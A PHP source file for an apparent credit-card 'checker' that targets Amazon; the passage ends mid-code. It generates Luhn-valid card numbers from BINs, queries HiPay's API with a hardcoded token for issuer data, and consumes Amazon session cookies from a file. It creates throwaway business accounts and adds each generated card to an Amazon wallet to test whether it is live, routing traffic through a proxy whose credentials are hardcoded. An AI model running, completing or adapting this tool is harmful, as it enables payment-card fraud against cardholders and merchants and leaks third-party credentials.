<?php
error_reporting(0);
session_start();
set_time_limit(60);
date_default_timezone_set('America/Sao_Paulo');


// ===================== TIMEZONE =====================
date_default_timezone_set('America/Sao_Paulo');

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    extract($_POST);
} elseif ($_SERVER['REQUEST_METHOD'] == "GET") {
    extract($_GET);
}

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    extract($_POST);
} elseif ($_SERVER['REQUEST_METHOD'] == "GET") {
    extract($_GET);
}

function deletarCookies() {
    if (file_exists("cookie.txt")) {
        unlink("cookie.txt");
    }
}


   $pas = basename(dirname(__DIR__));
 $pas;




function multiexplode($delimiters, $string){
    $one = str_replace($delimiters, $delimiters[0], $string);
    $two = explode($delimiters[0], $one);
    return $two;}
    
    
function getStr($string, $start, $end) {
    $startPos = strpos($string, $start);
    if ($startPos === false) return '';

    $startPos += strlen($start);
    $endPos = strpos($string, $end, $startPos);
    if ($endPos === false) return '';

    return substr($string, $startPos, $endPos - $startPos);
}



function getStr_i($string, $start, $end) {
    $stringLower = strtolower($string);
    $startLower = strtolower($start);
    $endLower = strtolower($end);

    $startPos = stripos($string, $start);
    if ($startPos === false) return '';

    $startPos += strlen($start);
    $endPos = stripos($string, $end, $startPos);
    if ($endPos === false) return '';

    return substr($string, $startPos, $endPos - $startPos);
}



function getRequest($url){
    global $ch;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
		curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_POST, false);
    return curl_exec($ch);
}

function setHeaders($array){
    global $ch;
    curl_setopt($ch, CURLOPT_HTTPHEADER, $array); 
}

function postRequest($url, $post){
    global $ch;
    curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    return curl_exec($ch);
}

function generateRandomString($length = 12) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}

  
  


function noExistSession() {
    // Lista das variáveis de sessão a serem verificadas
    $sessionKeys = ['session', 'contai', 'token00310', 'urll10', 'offtoken10'];

    // Verifica se alguma variável da lista está ausente ou vazia
    foreach ($sessionKeys as $key) {
        if (empty($_SESSION[$key])) {
            return true;
        }
    }

    // Retorna false se todas as variáveis de sessão estão setadas e não vazias
    return false;
}


class CCGen {
    public string $cc_number;
    // Verificação antifurto
    public function antiTheftCheck(): bool {
        $onlyDigits = preg_replace('/\D/', '', $this->cc_number);
        if (strlen($onlyDigits) > 12) {
            return false;
        }
        return true;
    }
    public function toRandom($string) {
        return preg_replace_callback('/x/', function($match) {
            return mt_rand(0, 9);
        }, $string);
    }
    public function luhnCheck($number) {
        $number = str_replace(' ', '', $number);
        $number = strrev($number);
        $sum = 0;
        for ($i = 0; $i < strlen($number); $i++) {
            $digit = $number[$i];
            if ($i % 2 == 1) {
                $digit *= 2;
                if ($digit > 9) {
                    $digit -= 9;
                }
            }
            $sum += $digit;
        }
        return ($sum % 10 == 0);
    }
    public function toRandomCc($string, $qtd = 150) {
        $results = [];
        for ($x = 0; $x < $qtd; $x++) {
            $number = $this->toRandom($string);
            if ($this->luhnCheck($number)) {
                return $number;
            }
        }
        return null;
    }
    public function isValidBin() {
        $numeroDeNumeros = 0;
        for ($i = 0; $i < strlen(substr($this->cc_number, 0, 6)); $i++) {
            if (is_numeric(substr($this->cc_number, 0, 6)[$i])) {
                $numeroDeNumeros++;
            }
        }
        return $numeroDeNumeros >= 6;
    }
    public function isValidCvv(string $card_cvv) {
        return (strlen($card_cvv) == 3 || strlen($card_cvv) == 4);
    }
    public function completeWithX(string $card) {
        $firstDigit = $card[0];
        $length = strlen($card);
        if (substr($card, 0, 2) === '34' || substr($card, 0, 2) === '37') {
            if ($length < 15) {
                return str_pad($card, 15, 'x', STR_PAD_RIGHT);
            }
        } elseif (in_array($firstDigit, ['4', '5', '6'])) {
            if ($length < 16) {
                return str_pad($card, 16, 'x', STR_PAD_RIGHT);
            }
        } elseif ($length < 16) {
            return str_pad($card, 16, 'x', STR_PAD_RIGHT);
        }
        return $card;
    }
}
// --- Lógica principal ---
$ccgen = new CCGen();



$lista = $_REQUEST['lista'];
$cc =  multiexplode(array(":", "|", ";", ":", "/", " "), $lista)[0];
$mes = multiexplode(array(":", "|", ";", ":", "/", " "), $lista)[1];
$ano = multiexplode(array(":", "|", ";", ":", "/", " "), $lista)[2];
$cvv = multiexplode(array(":", "|", ";", ":", "/", " "), $lista)[3];

$time = time();


$ccgen->cc_number = $cc;
// if (!$ccgen->antiTheftCheck()) {
    // exit('<font class="text-white"><b class="text-danger">Erro</b> » <b>Sistema de anti-furto ativo, por favor remova 4x ou mais</b> <font class="text-info">(' . (time() - $time) . 's)</font></font><br>');
// }
if (!$ccgen->isValidBin()) {
    exit('<font class="text-white"><b class="text-secondary">Erro</b> » <b>FORMATO INVÁLIDO</b> <font class="text-info">(' . (time() - $time) . 's)</font></font><br>');
}
if (!$ccgen->isValidCvv($cvv)) {
    exit('<font class="text-white"><b class="text-secondary">Erro</b> » <b>FORMATO INVÁLIDO</b> <font class="text-info">(' . (time() - $time) . 's)</font></font><br>');
}
$cvv = $ccgen->toRandom($cvv);
$cc = $ccgen->completeWithX($cc);
$cc = $ccgen->toRandomCc($cc);
if ($cc === null) {
    exit('<font class="text-white"><b class="text-secondary">Erro</b> » <b>Não foi possível gerar um número de cartão válido</b> <font class="text-info">(' . (time() - $time) . 's)</font></font><br>');
}




        
if(strlen($mes) == 2 && $mes != "10" && $mes != "11" && $mes != "12") {
    $mes = substr($mes, 1);  // Remove o primeiro dígito
}

$rand = rand(100,999);
$time = time();

function gerarLetrasAleatorias($quantidade) {
$letras = 'abcdefghijABCDEFGHIJ'; // Letras disponíveis
$tamanhoLetras = strlen($letras);
$resultado = '';

for ($i = 0; $i < $quantidade; $i++) {
$indice = rand(0, $tamanhoLetras - 1);
$resultado .= $letras[$indice];
}

return $resultado;
}

$quantidadeLetras = 15; 
 $letrasAleatorias = gerarLetrasAleatorias($quantidadeLetras);
$binblock = substr($lista, 0,6);





$token = 'OTQ2NTIzNjQuYXBpLmhpcGF5LXRwcC5jb206Y29rU09IN3JPY1lNQ0RKZGVydEs2ZGIz';
$headers = array(
    'Accept: text/javascript, text/html, application/xml, text/xml, */*',
    'Accept-Language: pt-BR,pt;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    'Authorization: Basic ' . $token,
    'Cache-Control: no-cache',
    'Connection: keep-alive',
    'Content-Type: application/x-www-form-urlencoded',
    'Origin: https://payment.hipay.com',
    'Pragma: no-cache',
    'Referer: https://payment.hipay.com/',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188',
);
$data = array(
    'card_number' => $cc,
    'cvc' => '222',
    'card_expiry_month' => '08',
    'card_expiry_year' => '2027',
    'card_holder' => 'rodrigo noleto melo noleto',
    'multi_use' => '0',
    'generate_request_id' => '0',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://secure2-vault.hipay-tpp.com/rest/v2/token/create.json');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$bin = curl_exec($ch);
$bin = json_decode($bin,true);
$bandeira = $bin['brand'];
$banco = $bin['issuer'];
$pais = $bin['country'];
$tipo = $bin['card_type'];
$nivel = $bin['card_category'];
$bin_result = "$bandeira $banco, $tipo $nivel $pais";

function convertCookie($text, $outputFormat = 'IT')
{
    $countryCodes = [
        'ES' => ['code' => 'acbes', 'currency' => 'EUR', 'lc' => 'lc-acbes', 'lc_value' => 'es_ES'],
        'MX' => ['code' => 'acbmx', 'currency' => 'MXN', 'lc' => 'lc-acbmx', 'lc_value' => 'es_MX'],
        'IT' => ['code' => 'acbit', 'currency' => 'EUR', 'lc' => 'lc-acbit', 'lc_value' => 'it_IT'],
        'COM' => ['code' => 'main', 'currency' => 'USD', 'lc' => 'lc-main', 'lc_value' => 'en_US'],
        'DE' => ['code' => 'acbde', 'currency' => 'EUR', 'lc' => 'lc-main', 'lc_value' => 'de_DE'],
        'BR' => ['code' => 'acbbr', 'currency' => 'BRL', 'lc' => 'lc-main', 'lc_value' => 'en_US'],
        'AE' => ['code' => 'acbae', 'currency' => 'AED', 'lc' => 'lc-acbae', 'lc_value' => 'en_AE'],
        'SG' => ['code' => 'acbsg', 'currency' => 'SGD', 'lc' => 'lc-acbsg', 'lc_value' => 'en_SG'],
        'SA' => ['code' => 'acbsa', 'currency' => 'SAR', 'lc' => 'lc-acbsa', 'lc_value' => 'ar_AE'],
        'CA' => ['code' => 'acbca', 'currency' => 'CAD', 'lc' => 'lc-acbca', 'lc_value' => 'ar_CA'],
        'PL' => ['code' => 'acbpl', 'currency' => 'PLN', 'lc' => 'lc-acbpl', 'lc_value' => 'pl_PL'],
        'FR' => ['code' => 'acbfr', 'currency' => 'EUR', 'lc' => 'lc-acbfr', 'lc_value' => 'fr_FR'],
        'SE' => ['code' => 'acbse', 'currency' => 'SEK', 'lc' => 'lc-acbse', 'lc_value' => 'se_SE'],
        'TR' => ['code' => 'acbtr', 'currency' => 'TRY', 'lc' => 'lc-acbtr', 'lc_value' => 'tr_TR'],
        'UK' => ['code' => 'acbuk', 'currency' => 'GBP', 'lc' => 'lc-acbuk', 'lc_value' => 'en_GB'],
        'NL' => ['code' => 'acbnl', 'currency' => 'EUR', 'lc' => 'lc-acbnl', 'lc_value' => 'nl_NL'],
        'AU' => ['code' => 'acbau', 'currency' => 'AUD', 'lc' => 'lc-acbau', 'lc_value' => 'en_AU'],
        'BEL' => ['code' => 'acbbe', 'currency' => 'EUR', 'lc' => 'lc-acbbe', 'lc_value' => 'fr_BE'],
        'JP' => ['code' => 'acbjp', 'currency' => 'JPY', 'lc' => 'lc-acbjp', 'lc_value' => 'ja_JP'],





    ];

    if (!array_key_exists($outputFormat, $countryCodes)) {
        return $text;
    }

    $currentCountry = $countryCodes[$outputFormat];

    $text = str_replace(['acbes', 'acbmx', 'acbit', 'acbbr', 'acbae', 'main', 'acbsg', 'acbus', 'acbde'], $currentCountry['code'], $text);
    $text = preg_replace('/(i18n-prefs=)[A-Z]{3}/', '$1' . $currentCountry['currency'], $text);
    $text = preg_replace('/(' . $currentCountry['lc'] . '=)[a-z]{2}_[A-Z]{2}/', '$1' . $currentCountry['lc_value'], $text);
    $text = str_replace('acbuc', $currentCountry['code'], $text);

    return $text;
}

// COLOQUE DUAS VEZES SEU PAIS DE TESTE!!!!!!!!!!!
# www.amazon.it
# www.amazon.es 
# www.amazon.se 
# www.amazon.co.uk 
# www.amazon.fr 
# www.amazon.de 
# www.amazon.com.tr 
# www.amazon.nl 
# www.amazon.ae 
# www.amazon.pl 
# www.amazon.co.jp
$bin2 = substr($cc, 0,6);

 if (strpos(file_get_contents($dir."die.txt.txt"), $cc) !== false) {
    exit(' esse cartão ja foi testado!<br>');
 }

 $pais = $_REQUEST['modo'];


$codigo = $_SESSION['user']['code'] ?? '';
if ($codigo === "offline") {
    $path = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\cookies2.txt';
    $contadorFile = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\contador_delecao2.txt';

} elseif ($codigo === "offline") {
    $path = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\cookies3.txt';
    $contadorFile = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\contador_delecao3.txt';

} elseif ($codigo === "offline") {
    $path = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\cookies4.txt';
    $contadorFile = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\contador_delecao4.txt';

}  else {
    $path = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\cookies.txt';
    $contadorFile = 'C:\\xampp\\htdocs\\chk\\Gerador-amz\\dados\\contador_delecao.txt';

}

function pegarEremoverCookieTXT($path) {

    // 🔒 Já existe cookie na sessão? Usa ele e não mexe no TXT
    if (!empty($_SESSION['cookieUS'])) {
        return $_SESSION['cookieUS'];
    }

    if (!file_exists($path)) {
        return false;
    }

    $linhas = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    if (count($linhas) === 0) {
        return false;
    }

    // Pega a primeira linha
    $linha = trim(array_shift($linhas));

    // Extrai o cookie
    if (preg_match('/^cookie\s*:\s*(.+)$/i', $linha, $m)) {
        $cookie = trim($m[1]);
    } else {
        $cookie = $linha;
    }

    // Salva na sessão
    $_SESSION['cookieUS'] = $cookie;

    // Regrava o arquivo sem a primeira linha
    file_put_contents($path, implode(PHP_EOL, $linhas) . PHP_EOL);

    return $cookie;
}

$cookieUS = pegarEremoverCookieTXT($path);

$delet = function () {

    if (!isset($_SESSION['cookieUS_count'])) {
        $_SESSION['cookieUS_count'] = 0;
    }

    $_SESSION['cookieUS_count']++;

    if ($_SESSION['cookieUS_count'] >= 2) {

        unset($_SESSION['cookieUS']);
        $_SESSION['cookieUS_count'] = 0;

        return true;
    }

    return false;
};

// Verifica se está vazio
if (empty($cookieUS)) {
    exit('Erro:CHK OFFLINE, Chame a administração.');
}



if ($pais === 'zeroauth') {
	




$variavelpaises = 'www.amazon.com, www.amazon.com';


$paisesArray = array_map('trim', explode(',', $variavelpaises));

 $linkSelecionado = $paisesArray[array_rand($paisesArray)];

 $sigla = strtoupper(substr(strrchr($linkSelecionado, '.'), 1));

 "Link selecionado: $linkSelecionado\n";
 "Sigla extraída: $sigla\n";




$cookie1 = convertCookie($cookieUS, 'COM');
$cookie3 = convertCookie($cookieUS, ''.$sigla.'');
$cookie4 = convertCookie($cookieUS, 'COM');
$cookie6 = convertCookie($cookieUS, 'COM');
$cookie7 = convertCookie($cookieUS, 'ES');

 $email = ($letrasAleatorias);

$session = $_SESSION['session'];
$contai = $_SESSION['contai'];
$urll10 = $_SESSION['urll10'];
$requestid = $_SESSION['requestid'];
$token00310 = $_SESSION['token00310'];
$offtoken10 = $_SESSION['offtoken10'];



// Exemplo de uso:

////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////

         if(noExistSession()){

   $ch = curl_init();
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado.'/gp/prime/pipeline/membersignup?');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado.'',
'Widget-Ajax-Attempt-Count: 0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'Origin: https://'.$linkSelecionado.'',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
//curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AAddCreditCardEvent=&ppw-jsEnabled=true&ppw-widgetState='.$ms.'&ie=UTF-8&ppw-accountHolderName=luciano+franco&addCreditCardNumber='.$cc.'&ppw-expirationDate_month='.$mes.'&ppw-expirationDate_year='.$ano.'');
      $add = curl_exec($ch);
 

 $add = html_entity_decode(html_entity_decode($add, ENT_QUOTES | ENT_HTML5, 'UTF-8'), ENT_QUOTES | ENT_HTML5, 'UTF-8');

    $amzn1 = getstr($add, 'paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;','&');
     $amzn2 = getstr($add, 'paymentMethodId":"','"');
    $session = getstr($add, 'session-id" value="','"');
    $token = getstr($add, 'token":"','"');
   $contai = getstr($add, 'data-csa-c-container-request-id="','"');



     $offtoken10 = getStr($add, 'offerToken" value="','"');
      $sessionid10 = getStr($add, 'name="session-id" value="','"');
      $token00310 = getStr($add, 'name="ppw-widgetState" value="', '"');
            $urll10 = getStr_i($add, 'customerId":"','"');




   $payid = getstr($add, 'paymentMethodId":"','"');
   

// paymentMethodAccountOwner&quot;:&quot;&quot;,&quot;paymentMethodId&quot;:&quot;
// paymentMethodId&quot;:&quot;
//MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ
//MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg
//5360 amzn1.pm.wallet.MGhfUFVfQ1VTX2YwYWZlOTIzLWMwMzYtNDNlMi1hNzFlLTI2ZDBkM2Q2OWViYQ.QTIwNkRQREFYNU1SUU8
//6582 amzn1.pm.wallet.MGhfUFVfQ1VTXzUyNzk5NDNkLWNjMDctNDgwNS1hOGE0LTVhOTc2NzgwOTY2Zg.QTIwNkRQREFYNU1SUU8

  $SavePaymentPreferenceEvent;
   $sessionds = getstr($add, 'Subs:Prime","session":"','"');
   $noovotoken = getstr($add, 'instrumentIds&quot;:[&quot;','&');
   $redirecturl = getstr($add, 'input type="hidden" name="redirectURL" value="','"/');
    $ohtoken1 = getstr($add, 'selectedInstrumentIds":["','"');
        $ohtoken2 = getstr($add, 'clientId":"Subs:Prime","serializedState":"','"');
	
	 		        $_SESSION['session'] = $session;
				     $_SESSION['contai'] = $contai;
      			     $_SESSION['offtoken10'] = $offtoken10;
					 $_SESSION['urll10'] = $urll10;
					 $_SESSION['token00310'] = $token00310;

$required_keys = ['session', 'contai', 'urll10', 'token00310','offtoken10'];


foreach ($required_keys as $key) {
    if (empty($_SESSION[$key])) {
       
	   $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/deregister?ref_=b2b_bam_drb_l_a');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);
      $result = htmlspecialchars_decode($result);
       $B2B = getStr($result, "B2B_MANAGE_TOKEN' value='", "'");


	   	   $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/api/deregister?ref_=b2b_bam_drb_ver_y');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'anti-csrftoken-a2z: ' . $B2B;
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: */*';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Cookie: ' . $cookie6;

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"reason":"OTHER"}');
 $result = curl_exec($ch);

    unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
 	 exit();
		
		
    }
}
		 

 $username = "smart-puvwnqjfhqrr_area-BR";
$password = "lmGwHXZJRGEymTXU";	
$proxy_address = "proxy.smartproxy.net";
$proxy_port = "3120";



$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);



$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, $proxy_address);   
curl_setopt($ch, CURLOPT_PROXYPORT, $proxy_port);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $username . ":" . $password);
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');


curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);

 $result = curl_exec($ch);







$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
  $namme = substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 7);

 $ch = curl_init();        
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);





$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/nav/ajax/business-desktop-asinFlyout?content=ab-spendsegment-itstore&metricKey=ab-spendsegment-itstoreMetric&ajaxTemplate=business-desktop-asinFlyout&flyoutName=ab-spendsegment-itstore&flyoutId=nav-link-spendsegment-itstore&navDeviceType=desktop&_=1720963395082');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ref=ab_reg_notag_gon_gateway_ab_reg_dsk?isMashRequest=false&isAndroidMashRequest=false&isIosMashRequest=false');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/cpe/yourpayments/wallet?ref_=b2b_mpo_view_wallet');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

  $response = curl_exec($ch);


		 }
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////




    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));

       $add = getRequest('https://www.amazon.com/mn/dcw/myx/settings.html?route=updatePaymentSettings&ref_=kinw_drop_coun&ie=UTF8&client=deeca');
          $csrf = getstr($add, 'csrfToken = "','"');
#req1


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22AddPaymentInstr%22%3A%7B%22cc_CardHolderName%22%3A%22'.generateRandomString(10).'+'.generateRandomString(10).'%22%2C%22cc_ExpirationMonth%22%3A%22'.intval($mes).'%22%2C%22cc_ExpirationYear%22%3A%22'.$ano.'%22%7D%7D%7D&csrfToken='.urlencode($csrf).'&addCreditCardNumber='.$cc.'';

        $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
    $cardid_puro = getstr($add, '"paymentInstrumentId":"','"');
#req2


if (empty($cardid_puro)) {
	
	
	    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
